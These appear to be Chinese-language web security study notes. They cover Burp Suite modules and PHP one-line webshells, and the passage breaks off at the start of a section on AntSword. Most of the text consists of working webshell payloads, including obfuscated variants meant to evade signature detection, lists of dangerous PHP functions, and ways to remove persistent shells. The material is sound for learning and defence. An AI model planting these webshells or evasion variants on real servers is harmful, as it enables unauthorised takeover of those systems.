Web概要
Web概要
入门简介
一、Burpsuit 功能介绍
光标偏移问题:添加启动文件.bat,再调整字体大小
start javaw -Dsun.java2d.uiScale=1 -jar "路径\burpsuite_community.jar"
Proxy模块
-
intercept:可以查看、修改http数据包的内容。可以把数据包发送到其他模块。
-
httphistory:查看所有经过代理服务器的数据流及详情。
-
WebSockets history:主要用于记录WebSockets的数据包。
-
options:对代理服务的一些设置,如:代理监听的端口、请求包的拦截规则等。
Repeater模块:重复攻击模块
Intruder模块:爆破模块
Attacktype:
- sniper:依次破解
- Battering ram:同时破解
- Pitchfork:每个变量对应一个字典,取各自字典进行破解
- Cluster bomb:多个字典交叉组合进行破解,适用于破解用户名和密码
(community版不能设置多线程)
Decoder模块:编码解码
可多次进行编码解码
二、一句话木马(php语言)
一句话木马,是个可执行文件,把脚本文件上传到目标服务器,然后文件缓解执行,就可以达到控制目标服务器的目的。
三个条件:
-
木马能成功上传到服务器
-
知道木马上传到服务器的路径
-
上传的木马能被解析执行
<?php@eval($_POST['cmd']);?>
-
<?php
:代表这是一段php代码,php服务器识别到后开始解析执行 -
@
:不报错 -
$_POST['cmd']
:以POST方法获得参数 -
eval
:将字符串按照php代码进行执行
传入cmd=phpinfo();检测php各种环境
<?php@eval("phpinfo();");?>
hackbar下载(2.1.3):https://github.com/Mr-xn/hackbar2.1.3
eval 和 assert 的区别:
- 相同点:都能把字符串作为php代码执行。
- 不同点:
eval()
不能被可变函数调用,动态调用。eval()
函数实际是一个语言构造器,相当于C语言中的预定义宏,属于php语言内部关键字。 - php7.1以上assert已经被废弃
POST,GET,REQUEST区分
$_GET 变量接受所有以 get 方式发送的请求,及浏览器地址栏中的 ? 之后的内容。
$_POST 变量接受所有以 post 方式发送的请求,例如,一个 form 以 method=post 提交,提交后 php 会处理 post 过来的全部变量。
$_REQUEST 支持两种方式发送过来的请求,即 post 和 get 它都可以接受,显示不显示要看传递方法,get 会显示在 url 中(有字符数限制),post 不会在 url 中显示,可以传递任意多的数据(只要服务器支持)。
木马的变形:
传统的木马防护检测一般是基于特征检测的防护,如:正则表达式和黑名单。
思路:
-
绕过php代码标志
<?
的限制:<script language="php">@eval($_POST['x'])</script>
-
拆分拼接:
<?php $arr = explode(",","a,s,d,f,s,d,e,k,r,t");//把字符串打散为数组 $payload = $arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接为assert //php版本要求<=7.0 @$payload(@_GET['x']); ?>
-
编码:
<?php $a = base64_decode("YXNzZXJ0"); @$a($_POST('cmd')); ?>
-
随机异或,用异或运算来组成字符
<?php //也可以用十六进制进行进一步加密,例如$r="x4d"^"x3f"; $a="Y"^"8";//a $b="T"^"'";//s $c="*"^"O";//e $d="M"^"?";//r $e="-"^"Y";//t $payload=$a.$b.$b.$c.$d.$e;//拼接 @$payload(@$_POST['x']); ?>
-
可变函数
<?php @$_REQUEST['e'](@$_REQUEST['x']);//传入e=assert&x=command ?>
-
可变变量
<?php $a='assert'; $b='a'; //$$b=$a='assert' $$b($_POST['x']); //assert($_POST['x']) ?>
回调函数:
call_user_func($callback,$parameter)
php是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:arry()
,echo
,empty()
,exit()
,isset()
,list()
,print
,unset()
$callback
:被调用的回调函数
$parameter
:0个或以上的参数,被传入回调函数
<?php
@call_user_func($_GET['id'],$_POST['a']);
//传入id=eval&a=command
?>
其他回调函数:https://www.php.net/ 关键词搜索:called,callable,callback……
木马的使用:
-
执行系统命令:
system()
:执行外部程序,并显示输出passthru()
:执行外部程序并且显示原始输出exec()
:执行一个外部程序,不输出结果,echo返回结果的最后一行shell_exec()
或' '
:通过shell环境执行命令,需要echo -
读文件:
file_get_contents
:将整个文件读入为一个字符串,需要echofile()
:把整个文件读入一个数组中,var_dump
显示数组readfile
:读取一个文件,并写入到输出缓冲 -
遍历目录:
scandir()
:返回一个指定目录中的文件和目录的数组
木马的特征与查杀(D盾)
-
代码执行函数:
eval,assert,pre_replace,create_function,
回调函数(call_user_func,call_user_func_array,register_tick_function,array_filter等)
-
命令执行函数: exec() 执行一个外部程序 passthru() 执行外部程序并且显示原始输出 proc_open() 执行命令,并且打开用来输入/输出的文件指针 shell_exec()或' ' 通过shell环境执行命令 system() 执行外部程序,并显示输出 popen() 通过参数传递一条命令,并对popen打开的文件执行 -
文件操作函数: file_get_contents 将整个文件读入为一个字符串 file_put_contents 将一个字符串写入文件 file() 把整个文件读入到一个数组中 fopen 打开文件或者URL move_uploaded file 将上传的文件移动到哦新位置 readfile 读取一个文件,并写入到输出缓冲 rename 重命名一个文件或目录 rmdir 删除目录 unlink & delete 删除文件 -
包含函数:
require,require_once
include,include_once
-
特殊函数:
phpinfo()
变量覆盖:parse_str,extract
不死马
查杀不死马:
- 重启服务,比如:php等web服务
- 创建一个和不死马同名的文件夹,产生冲突
- 删除相应进程,查出不死马进程PID后,用命令kill - 9 PID杀掉进程
- 竞争写入一个删除不死马的文件,usleep的时间必须要小于不死马的延迟时间
三、antsword
工具原理:
上传的一句话木马为:<?php @eval($_POST['cmd']);?>